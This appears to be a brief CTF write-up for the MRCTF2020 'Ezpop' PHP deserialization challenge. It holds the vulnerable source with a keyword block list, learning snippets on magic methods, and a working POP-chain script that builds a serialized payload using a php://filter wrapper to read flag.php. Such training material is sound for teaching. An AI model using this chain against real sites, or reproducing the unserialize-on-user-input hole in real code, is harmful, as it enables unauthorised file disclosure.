[MRCTF2020]Ezpop

1. Welcome to index.php
2. <?php
3. //flag is in flag.php
4. //WTF IS THIS?
5. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6. //And Crack It!
7. class Modifier {
8. protected  $var;
9. public function append($value){
10. include($value);
11.     }
12. public function __invoke(){
13. $this->append($this->var);
14.     }
15. }
16. 
17. class Show{
18. public $source;
19. public $str;
20. public function __construct($file='index.php'){
21. $this->source = $file;
22. echo 'Welcome to '.$this->source."<br>";
23.     }
24. public function __toString(){
25. return $this->str->source;
26.     }
27. 
28. public function __wakeup(){
29. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30. echo "hacker";
31. $this->source = "index.php";
32.         }
33.     }
34. }
35. 
36. class Test{
37. public $p;
38. public function __construct(){
39. $this->p = array();
40.     }
41. 
42. public function __get($key){
43. $function = $this->p;
44. return $function();
45.     }
46. }
47. 
48. if(isset($_GET['pop'])){
49.     @unserialize($_GET['pop']);
50. }
51. else{
52. $a=new Show;
53. highlight_file(__FILE__);
54. }

1. <?php
2. class Person{
3. /*封装私有成员属性*/
4. private $name='张三';private $sex='男';private $age=12;
5. /*__get()方法用来获取私有属性*/
6. function __get($property_name){
7. //        echo '在直接获取私有成员属性得时候，自动调用了这个__get()方法<br/>';
8. if(isset($this->$property_name))
9.         {
10. return ($this->$property_name);
11.         }else{
12. return NULL;
13.         }
14.     }
15. }
16. $p1=new Person();
17. /*直接获取私有属性得值，会自动调用__get()的方法，返回成员属性的值*/
18. echo '姓名：'.$p1->name.'<br/>'.PHP_EOL;
19. echo '性别：'.$p1->sex.'<br/>'.PHP_EOL;
20. echo '年龄：'.$p1->age.'<br/>'.PHP_EOL;
21. ?>

1. <?php
2. class Test{
3. private $p='phpinfo';
4. // public function __construct()
5. // {
6. //     $this->p = 'array';
7. // }
8. 
9. public function __get($key){
10. $function = $this->p;
11. return $function();
12.     }
13. }
14. $a=new Test;
15. echo $a->$p;
16. ?>

1. <?php
2. class Test{
3. private $p='phpinfo';
4. // public function __construct()
5. // {
6. //     $this->p = 'array';
7. // }
8. 
9. public function __get($key){
10. $function = $this->p;
11. return $function();
12.     }
13. }
14. $a=new Test;
15. $a->$eee;
16. ?>

1. <?php
2. class Modifier {
3. protected  $var='flag';
4. public function append($value){
5. include($value);
6.     }
7. public function __invoke(){
8. $this->append($this->var);
9.     }
10. }
11. $a=new Modifier;
12. $a->__invoke();
13. ?>

1. <?php
2. 
3. class CallableClass
4. {
5. public function __invoke($param1, $param2)
6.     {
7. var_dump($param1,$param2);
8.     }
9. }
10. 
11. $obj  = new CallableClass;
12. $obj(123, 456);
13. 
14. // var_dump(is_callable($obj));

1. <?php
2. class Modifier {
3. protected  $var='php://filter/convert.base64-encode/resource=flag.php';
4. public function append($value){
5. include($value);
6.     }
7. public function __invoke(){
8. $this->append($this->var);
9.     }
10. }
11. 
12. class Show{
13. public $source;
14. public $str;
15. public function __toString()
16.     {
17. return $this->str->source;
18.     }
19. public function __wakeup(){
20. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
21. echo "hacker";
22. $this->source = "index.php";
23.         }
24.     }
25. }
26. class Test{
27. public $p;
28. public function __get($key){
29. $function = $this->p;
30. return $function();
31.     }
32. }
33. $a=new Show();
34. $d=new Show();
35. $a->source=$d;
36. $d->str=new Test();
37. ($d->str)->p=new Modifier();
38. 
39. 
40. 
41. echo urlencode(serialize($a))
42. ?>

1. poc2：
2. $s = new Show();
3. $t = new Test();
4. $r = new Modifier();
5. $t->p = $r;
6. $s->str = $t;
7. $s->source = $s;